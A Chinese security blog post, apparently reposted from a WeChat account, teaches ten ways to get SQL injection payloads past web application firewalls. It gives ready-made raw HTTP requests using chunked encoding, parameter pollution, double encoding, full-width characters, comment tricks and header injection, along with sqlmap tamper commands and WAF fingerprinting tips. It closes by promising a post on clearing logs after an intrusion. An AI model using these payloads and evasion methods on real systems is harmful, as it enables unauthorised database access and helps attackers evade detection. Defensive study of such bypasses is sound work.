WAF绕过:你的payload一提交就被拦?这10个冷门技巧让它畅通无阻

admin 2026-10-07 04:40:25 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文系统讲解WAF绕过技术,涵盖分块传输、HTTP参数污染、多次URL编码、全角字符、注释空白符、协议版本、请求方法及Content-Type等10种绕过技巧,每种均附原理与实战命令示例,并推荐sqlmap的tamper脚本自动化绕过方案。文章基于作者实战经验,内容详实,可操作性强,对渗透测试与红队人员具有较高参考价值。 综合评分: 85 文章分类: 渗透测试,红队,WEB安全,安全工具,实战经验


WAF绕过:你的payload一提交就被拦?这10个冷门技巧让它畅通无阻

原创

围巢安全笔记 围巢安全笔记

围巢安全笔记

2026年10月6日 20:30 北京

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

WEB 漏洞精讲 · 第 29 篇

上次打一个众测项目,SQL注入的payload刚提交就被WAF拦了,试了大小写、注释、URL编码,全没用。后来把请求体拆成一块一块的发过去——分块传输,WAF直接就瞎了,payload畅通无阻。那感觉就像拿着通行证,大摇大摆走过了安检门,安检员却啥也没看见。

这篇把WAF绕过的10个冷门技巧讲透,每个都附原理和实战命令,约 3500 字,附 2 个冷门干货。


01|先搞懂WAF是怎么拦你的

在讲绕过之前,得先搞懂WAF是怎么检测攻击的。不然你只会瞎试,不知道为什么成功,也不知道为什么失败。

WAF(Web应用防火墙)的检测方式主要分三代:

  • 第一代:特征匹配——最常见的方式,WAF有一个攻击特征库,你的请求里只要匹配到特征(比如union select、<script>、and 1=1),就被拦了。优点是简单,缺点是容易绕过
  • 第二代:语义分析——高级一点的WAF,会分析你的请求语义,判断是不是攻击,而不是简单的特征匹配。比如它会解析SQL语句,判断是不是注入,而不是只看有没有union这个词
  • 第三代:机器学习——最新的WAF,用机器学习模型判断是不是攻击,准确率更高,但也更容易被对抗样本绕过

目前市面上90%的WAF还是以特征匹配为主,所以绕过的核心思路就是——让你的payload在WAF眼里看起来不像攻击,但在Web服务器眼里还是攻击。说白了就是骗WAF,但不骗Web服务器。

正常的SQL注入payload一提交就被WAF拦截,返回403


02|技巧1:分块传输绕过(亲测最有效)

分块传输是HTTP/1.1的一个特性,允许把请求体分成一块一块的发送。很多WAF不会重组分块的数据,所以你把payload拆成一块一块的,WAF看到的是乱七八糟的碎片,检测不到攻击特征,但Web服务器会正常重组并执行。

这个方法是我亲测最有效的WAF绕过方式,基本上能通杀大部分WAF,包括某狗、某盾、某塔。

Burp里用分块传输绕过WAF,payload被拆成多个块,成功返回500(注入成功)

&nbsp;# 正常的POST请求(被WAF拦):
&nbsp;POST /test.php HTTP/1.1
&nbsp;Host: target.com
&nbsp;Content-Type: application/x-www-form-urlencoded
&nbsp;Content-Length: 30

&nbsp;id=1 union select 1,2,3-- -

&nbsp;# 分块传输的POST请求(绕过WAF):
&nbsp;POST /test.php HTTP/1.1
&nbsp;Host: target.com
&nbsp;Content-Type: application/x-www-form-urlencoded
&nbsp;Transfer-Encoding: chunked

&nbsp;1e
&nbsp;id=1 union select 1,2,3-- -
&nbsp;0

&nbsp;# 关键改动:
&nbsp;# 1. 把 Content-Length 头删掉
&nbsp;# 2. 加上 Transfer-Encoding: chunked
&nbsp;# 3. 请求体的格式变成:块大小(十六进制)\r\n块内容\r\n
&nbsp;# 4. 最后一个块是 0 ,表示结束
&nbsp;# 5. 最后还要有一个空行

&nbsp;# 更骚的操作:把关键字拆到不同的块里
&nbsp;# 比如把 union 拆成 un 和 ion:
&nbsp;a
&nbsp;id=1 un
&nbsp;b
&nbsp;ion sele
&nbsp;c
&nbsp;ct 1,2,3-- -
&nbsp;0

&nbsp;# WAF看到的是:id=1 un / ion sele / ct 1,2,3-- -
&nbsp;# 每一块都没有完整的攻击特征,WAF就放行了
&nbsp;# 但Web服务器会把这些块拼起来,变成完整的payload
&nbsp;# 这就是分块传输绕过的精髓

03|技巧2:HTTP参数污染(HPP)

HTTP参数污染就是——给同一个参数传多个值。比如 ?id=1&id=2。不同的Web服务器处理方式不一样:有的取第一个值,有的取最后一个值,有的两个都取。

WAF可能只检查第一个参数的值,觉得没问题就放行了,但Web服务器取的是最后一个值,实际执行的是攻击payload。

&nbsp;# 正常的payload(被WAF拦):
&nbsp;/test.php?id=1 union select 1,2,3-- -

&nbsp;# HTTP参数污染(绕过WAF):
&nbsp;/test.php?id=1&id=union select 1,2,3-- -

&nbsp;# WAF检查第一个id=1,觉得没问题,放行
&nbsp;# 但PHP/Apache会取最后一个id的值
&nbsp;# 实际执行的是 id=union select 1,2,3-- -

&nbsp;# 不同Web服务器的处理方式(很重要):
&nbsp;# PHP/Apache:取最后一个值
&nbsp;# ASP/IIS:取最后一个值
&nbsp;# JSP/Tomcat:取第一个值
&nbsp;# Python/Flask:取第一个值
&nbsp;# Node.js/Express:取第一个值(但会返回数组)

&nbsp;# 所以如果目标是PHP,就把攻击payload放在最后一个参数
&nbsp;# 如果目标是JSP,就把攻击payload放在第一个参数

&nbsp;# 还可以用不同的参数名污染:
&nbsp;/test.php?id=1&uid=union select 1,2,3-- -
&nbsp;# 如果WAF只检查id参数,不检查uid参数
&nbsp;# 而Web服务器把uid当id用(比如代码里写了$_REQUEST)
&nbsp;# 就绕过了

&nbsp;# 还有更骚的:用数组参数
&nbsp;/test.php?id[]=1&id[]=union select 1,2,3-- -
&nbsp;# 有些WAF不检查数组参数
&nbsp;# 但PHP会把它解析成数组,可能触发注入

04|技巧3-5:编码组合绕过

技巧3:多次URL编码绕过

WAF可能只解码一次,而Web服务器会解码多次。你把payload编码两次,WAF解码一次之后看到的是乱码,就放行了,Web服务器解码两次之后看到的是正常的payload。

&nbsp;# 正常payload:
&nbsp;union select

&nbsp;# 一次URL编码:
&nbsp;%75%6e%69%6f%6e%20%73%65%6c%65%63%74

&nbsp;# 两次URL编码(把%也编码成%25):
&nbsp;%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574

&nbsp;# WAF解码一次之后看到的是 %75%6e... ,觉得不是攻击,放行
&nbsp;# Web服务器解码两次之后看到的是 union select ,正常执行

&nbsp;# 还可以三次、四次编码
&nbsp;# 只要Web服务器解码次数比WAF多,就能绕过

&nbsp;# 注意:不是所有Web服务器都会自动多次解码
&nbsp;# Apache默认会解码一次
&nbsp;# Nginx默认会解码一次
&nbsp;# 但如果有反向代理(比如Nginx转发到Apache)
&nbsp;# 就可能解码两次,这时候多次编码就有效了

技巧4:全角字符绕过

有些WAF不识别全角字符,而Web服务器(特别是IIS和ASP.NET)会把全角字符转成半角。你用全角字符写payload,WAF检测不到,Web服务器能正常解析。

&nbsp;# 正常payload:
&nbsp;union select

&nbsp;# 全角字符:
&nbsp;union select

&nbsp;# 每个字母都有对应的全角字符:
&nbsp;# a=a b=b c=c d=d e=e f=f g=g
&nbsp;# h=h i=i j=j k=k l=l m=m n=n
&nbsp;# o=o p=p q=q r=r s=s t=t u=u
&nbsp;# v=v w=w x=x y=y z=z

&nbsp;# 还可以混合用:
&nbsp;union select
&nbsp;# 一半半角一半全角,WAF更难检测

&nbsp;# 这个方法对IIS/ASP.NET特别有效
&nbsp;# 因为IIS会自动把全角字符转成半角
&nbsp;# 对Apache/Nginx效果一般

技巧5:注释和空白符绕过

在SQL关键字中间加注释、换行、Tab、空格,WAF的特征匹配可能检测不到,但MySQL会忽略这些,正常执行。

&nbsp;# 正常payload:
&nbsp;union select

&nbsp;# 加注释:
&nbsp;un/**/ion se/**/lect
&nbsp;union/*!50000select*/
&nbsp;union/*xxxxxxxxxxxxxxxxxxxx*/select

&nbsp;# 加换行:
&nbsp;un
&nbsp;ion
&nbsp;se
&nbsp;lect

&nbsp;# 加Tab:
&nbsp;unionselect

&nbsp;# 加括号:
&nbsp;union(select)
&nbsp;union/**/(select)

&nbsp;# 加其他空白符(MySQL还认识这些):
&nbsp;# %09 = Tab
&nbsp;# %0a = 换行
&nbsp;# %0b = 垂直Tab
&nbsp;# %0c = 换页
&nbsp;# %0d = 回车
&nbsp;# %a0 = 不间断空格(这个很多WAF不认识)

&nbsp;# 比如:
&nbsp;union%a0select
&nbsp;# 用%a0代替空格,很多WAF检测不到
&nbsp;# 但MySQL认识%a0,会当成空格处理

&nbsp;# 这些方式可以组合使用,效果更好:
&nbsp;un/**/ion%a0se/**/lect
&nbsp;# 注释+全角空格+注释,WAF基本检测不到

💡 干货:sqlmap tamper脚本大全——自动绕过WAF

手动改payload太麻烦了,用sqlmap的tamper脚本自动绕过,效率高10倍:

&nbsp;# 常用的tamper脚本(按效果排序):

&nbsp;# 1. space2comment —— 把空格换成/**/
&nbsp;# 2. space2hash —— 把空格换成#%0a(MySQL注释)
&nbsp;# 3. space2plus —— 把空格换成+
&nbsp;# 4. space2mssqlblank —— 把空格换成其他空白符(%09%0a%0b%0c%0d)
&nbsp;# 5. charencode —— 全部URL编码
&nbsp;# 6. charunicodeencode —— Unicode编码(%u00xx)
&nbsp;# 7. multiplespaces —— 一个空格换成多个空格
&nbsp;# 8. randomcase —— 随机大小写
&nbsp;# 9. between —— 用between代替=号
&nbsp;# 10. ifnull2ifisnull —— 用if(isnull())代替ifnull()
&nbsp;# 11. apostrophemask —— 把单引号换成%EF%BC%87(全角引号)
&nbsp;# 12. equaltolike —— 用like代替=号
&nbsp;# 13. unionalltounion —— 把union all select换成union select
&nbsp;# 14. lowercase —— 全部转小写
&nbsp;# 15. uppercase —— 全部转大写

&nbsp;# 使用方法(单个tamper):
&nbsp;sqlmap -u "http://target.com/test.php?id=1" --tamper=space2comment

&nbsp;# 多个tamper组合使用(效果更好):
&nbsp;sqlmap -u "http://target.com/test.php?id=1" --tamper=space2comment,randomcase,charencode,between

&nbsp;# 还有个神器参数:--skip-waf
&nbsp;# sqlmap会自动尝试各种绕过方式
&nbsp;sqlmap -u "http://target.com/test.php?id=1" --skip-waf

&nbsp;# 注意:tamper不是越多越好
&nbsp;# 有些tamper组合会冲突,导致payload失效
&nbsp;# 建议从单个开始试,不行再加

用tamper脚本自动绕过,比手动改payload效率高多了,而且不容易漏。


05|技巧6-8:协议层面绕过

技巧6:HTTP协议版本绕过

有些WAF只检查HTTP/1.1的请求,你把请求改成HTTP/1.0,WAF可能就不做深度检测了。但Web服务器还是能正常处理。

&nbsp;# 正常请求:
&nbsp;GET /test.php?id=1 union select 1,2,3-- - HTTP/1.1
&nbsp;Host: target.com

&nbsp;# 改成HTTP/1.0:
&nbsp;GET /test.php?id=1 union select 1,2,3-- - HTTP/1.0
&nbsp;Host: target.com

&nbsp;# 有些WAF对HTTP/1.0的请求不做深度检测
&nbsp;# 因为HTTP/1.0没有长连接、没有分块传输
&nbsp;# WAF觉得HTTP/1.0的请求比较简单,就不仔细查了
&nbsp;# 但Web服务器还是能正常处理HTTP/1.0的请求

技巧7:请求方法绕过

有些WAF只检查GET和POST请求,你把请求方法改成PUT、DELETE、PATCH、OPTIONS、HEAD,WAF可能就不检查了。但Web服务器可能还是能正常处理参数。

&nbsp;# 正常POST请求:
&nbsp;POST /test.php HTTP/1.1
&nbsp;Host: target.com
&nbsp;Content-Type: application/x-www-form-urlencoded

&nbsp;id=1 union select 1,2,3-- -

&nbsp;# 改成PUT请求:
&nbsp;PUT /test.php HTTP/1.1
&nbsp;Host: target.com
&nbsp;Content-Type: application/x-www-form-urlencoded

&nbsp;id=1 union select 1,2,3-- -

&nbsp;# 改成DELETE请求:
&nbsp;DELETE /test.php?id=1 union select 1,2,3-- - HTTP/1.1
&nbsp;Host: target.com

&nbsp;# 有些WAF不检查PUT/DELETE/PATCH请求
&nbsp;# 但PHP的$_REQUEST还是能获取到参数
&nbsp;# 因为$_REQUEST包含了GET、POST、COOKIE的参数
&nbsp;# 不管你用什么请求方法,只要参数在,就能获取到

&nbsp;# 还有个更骚的:用HEAD请求
&nbsp;# HEAD请求和GET请求一样,但服务器只返回响应头,不返回响应体
&nbsp;# 有些WAF不检查HEAD请求
&nbsp;# 但服务器还是会执行SQL查询
&nbsp;# 你可以通过响应头的差异来判断注入是否成功

技巧8:Content-Type绕过

有些WAF只检查 application/x-www-form-urlencoded 的POST请求,你把Content-Type改成 multipart/form-data 或者 text/plain,WAF可能就不检查了。但Web服务器还是能正常解析参数。

&nbsp;# 正常的Content-Type(WAF会检查):
&nbsp;Content-Type: application/x-www-form-urlencoded

&nbsp;# 改成multipart/form-data(WAF可能不检查):
&nbsp;Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

&nbsp;------WebKitFormBoundary
&nbsp;Content-Disposition: form-data; name="id"

&nbsp;1 union select 1,2,3-- -
&nbsp;------WebKitFormBoundary--

&nbsp;# 改成text/plain(WAF可能不检查):
&nbsp;Content-Type: text/plain

&nbsp;id=1 union select 1,2,3-- -

&nbsp;# 改成application/json(WAF可能不检查):
&nbsp;Content-Type: application/json

&nbsp;{"id":"1 union select 1,2,3-- -"}

&nbsp;# 有些WAF只检查特定Content-Type的请求体
&nbsp;# 换成其他Content-Type,WAF就跳过检查了
&nbsp;# 但Web服务器还是能正常解析参数
&nbsp;# 特别是PHP的$_REQUEST,不管什么Content-Type都能解析

06|技巧9-10:终极绕过

技巧9:请求头注入

这是最骚的绕过方式——把payload放在请求头里,WAF根本不会检查请求头的内容。但有些Web应用会把请求头的值存到数据库里,就触发SQL注入了。

&nbsp;# 原理:
&nbsp;# 有些Web应用会记录请求头到数据库
&nbsp;# 比如User-Agent、Referer、X-Forwarded-For、Client-IP
&nbsp;# 如果这些值没有过滤,就存在SQL注入

&nbsp;# 攻击方法:
&nbsp;# 1. 把payload放在User-Agent里
&nbsp;GET /test.php HTTP/1.1
&nbsp;Host: target.com
&nbsp;User-Agent: 1' union select 1,2,3-- -

&nbsp;# 2. 把payload放在Referer里
&nbsp;GET /test.php HTTP/1.1
&nbsp;Host: target.com
&nbsp;Referer: 1' union select 1,2,3-- -

&nbsp;# 3. 把payload放在X-Forwarded-For里
&nbsp;GET /test.php HTTP/1.1
&nbsp;Host: target.com
&nbsp;X-Forwarded-For: 1' union select 1,2,3-- -

&nbsp;# 4. 把payload放在Client-IP里
&nbsp;GET /test.php HTTP/1.1
&nbsp;Host: target.com
&nbsp;Client-IP: 1' union select 1,2,3-- -

&nbsp;# WAF根本不会检查这些请求头
&nbsp;# 但Web应用可能会把这些值存到数据库
&nbsp;# 就触发SQL注入了

&nbsp;# 这种注入叫"请求头注入"
&nbsp;# 是现在越来越常见的一种注入方式
&nbsp;# 因为大家都开始过滤GET和POST参数了
&nbsp;# 但忘了过滤请求头

&nbsp;# 注意:请求头注入一般是盲注
&nbsp;# 因为请求头的值不会直接显示在页面上
&nbsp;# 需要用时间盲注或者报错注入来验证

技巧10:WAF指纹识别后针对性绕过

不同的WAF有不同的特征和不同的绕过方式。你先识别出目标用的是什么WAF,然后针对性地用对应的绕过技巧,成功率会高很多。

&nbsp;# 常见WAF的识别特征:

&nbsp;# 1. 安全狗(Safedog)
&nbsp;# 特征:拦截页面有"安全狗"字样,响应头有Server: WAF/2.0
&nbsp;# 绕过:分块传输、%a0空格、注释绕过

&nbsp;# 2. 云锁(Yunsuo)
&nbsp;# 特征:拦截页面有"云锁"字样,响应头有Server: yunsuo
&nbsp;# 绕过:分块传输、HTTP参数污染

&nbsp;# 3. 宝塔WAF
&nbsp;# 特征:拦截页面有"宝塔"字样
&nbsp;# 绕过:分块传输、全角字符

&nbsp;# 4. 阿里云WAF
&nbsp;# 特征:拦截页面有"阿里云"字样,响应头有Server: Tengine
&nbsp;# 绕过:多次编码、请求头注入

&nbsp;# 5. 腾讯云WAF
&nbsp;# 特征:拦截页面有"腾讯云"字样
&nbsp;# 绕过:分块传输、协议层面绕过

&nbsp;# 6. ModSecurity
&nbsp;# 特征:响应头有Server: Apache,拦截返回403
&nbsp;# 绕过:注释绕过、大小写绕过、编码绕过

&nbsp;# 识别WAF的工具:
&nbsp;# sqlmap --waf &nbsp;# 自动识别WAF
&nbsp;# wafw00f &nbsp; &nbsp; &nbsp;# 专门的WAF识别工具
&nbsp;# whatwaf &nbsp; &nbsp; &nbsp;# 另一个WAF识别工具

&nbsp;# 使用方法:
&nbsp;wafw00f http://target.com
&nbsp;# 它会告诉你目标用的是什么WAF
&nbsp;# 然后你就可以针对性地用对应的绕过技巧

💡 干货:Burp插件一键绕过——chunked-coding-converter

手动改分块传输太麻烦了,用Burp插件一键转换:

&nbsp;# 插件名:chunked-coding-converter
&nbsp;# 项目地址:https://github.com/c0ny1/chunked-coding-converter

&nbsp;# 功能:
&nbsp;# 1. 一键把正常请求转换成分块传输请求
&nbsp;# 2. 可以自定义分块大小
&nbsp;# 3. 可以在分块之间插入垃圾数据
&nbsp;# 4. 支持GET和POST请求
&nbsp;# 5. 支持在Repeater里直接使用

&nbsp;# 使用方法:
&nbsp;# 1. 在Burp的Extender里安装插件
&nbsp;# 2. 在Repeater里右键 -> Extensions -> chunked-coding-converter -> 分块传输
&nbsp;# 3. 插件会自动把请求转换成分块传输格式
&nbsp;# 4. 直接发送就行,WAF就被绕过了

&nbsp;# 还有个更强大的插件:wafpass
&nbsp;# 它集成了多种WAF绕过方式
&nbsp;# 分块传输、编码、注释、参数污染,一键切换
&nbsp;# 项目地址:https://github.com/0x727/wafpass

&nbsp;# 这些插件能让你的WAF绕过效率提高10倍
&nbsp;# 不用手动一个个改请求了

用Burp插件一键绕过,比手动改请求效率高多了,而且不容易出错。


WAF绕过说难也难,说简单也简单——难的是你要不断尝试,找到WAF的检测盲点;简单的是只要你掌握了这些技巧,一个个试,总能找到绕过的方法。记住一个原则:WAF是死的,人是活的。WAF的规则再完善,也总有覆盖不到的地方。

我的经验是:先试分块传输(成功率最高),不行再试编码和注释,还不行就试协议层面的绕过,最后试请求头注入。按这个顺序试,90%的WAF都能绕过去。

下一篇我们聊痕迹清理——干完活之后,怎么把日志清干净,不留痕迹。我们下篇见。


围巢安全笔记不生产焦虑,只分享踩过的坑和挖过的洞

你用过最有效的WAF绕过技巧是什么?评论区聊聊 👇

有想聊的话题,后台留言告诉我


往期回顾

  • 域渗透:Kerberos攻击的几种姿势
  • 端口转发:拿到webshell之后,怎么把内网的端口转到本地来
  • 钓鱼攻击:一封邮件是怎么把整个公司搞垮的
  • 应急响应:服务器被黑了,第一时间该干什么

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。

本文转载自:围巢安全笔记 围巢安全笔记 围巢安全笔记《WAF绕过:你的payload一提交就被拦?这10个冷门技巧让它畅通无阻》

评论:0   参与:  0